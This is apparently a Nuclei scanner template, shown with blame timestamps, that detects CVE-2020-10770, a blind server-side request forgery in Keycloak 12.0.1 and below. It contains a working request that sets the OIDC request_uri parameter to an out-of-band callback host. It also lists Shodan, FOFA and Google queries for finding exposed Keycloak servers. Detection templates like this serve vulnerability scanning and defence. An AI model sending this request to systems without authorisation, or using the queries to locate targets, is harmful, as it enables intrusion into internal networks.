2021-10-17 15:59:45 +00:00
id : CVE-2020-10770
info :
2023-02-11 04:59:02 +00:00
name : Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
2021-10-17 15:59:45 +00:00
author : dhiyaneshDk
2021-10-17 16:01:55 +00:00
severity : medium
2023-02-10 21:01:43 +00:00
description : Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, data leakage, or further attacks.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.
2021-10-17 15:59:45 +00:00
reference :
- https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
- https://www.exploit-db.com/exploits/50405
2021-10-18 15:33:29 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-10770
2022-05-17 09:18:12 +00:00
- https://bugzilla.redhat.com/show_bug.cgi?id=1846270
2024-05-31 19:23:20 +00:00
- https://github.com/soosmile/POC
2021-10-17 16:03:20 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2021-10-17 16:03:20 +00:00
cve-id : CVE-2020-10770
2023-02-10 21:01:43 +00:00
cwe-id : CWE-918
2024-05-31 19:23:20 +00:00
epss-score : 0.16545
epss-percentile : 0.96007
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : redhat
product : keycloak
2024-06-07 10:04:29 +00:00
shodan-query :
- http.html:"keycloak"
- http.title:"keycloak"
- http.favicon.hash:-1105083093
fofa-query :
- title="keycloak"
- icon_hash=-1105083093
- body="keycloak"
2024-05-31 19:23:20 +00:00
google-query : intitle:"keycloak"
2024-01-14 09:21:50 +00:00
tags : cve,cve2020,keycloak,ssrf,oast,blind,packetstorm,edb,redhat
2021-10-17 15:59:45 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-17 15:59:45 +00:00
- method : GET
path :
- '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'
2021-10-18 15:33:29 +00:00
2021-10-17 15:59:45 +00:00
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
2024-06-08 16:02:17 +00:00
# digest: 4a0a004730450220444928c31f7688f4f4461954497d908f8f2fbe7235961adf33b39c0ee3c161a302210088d21b151f34b0ef7fbdabeef38d8ff9881ff5f6c05a3d61ece1b872d5b32dbf:922c64590222798bb761d5b6d8e72950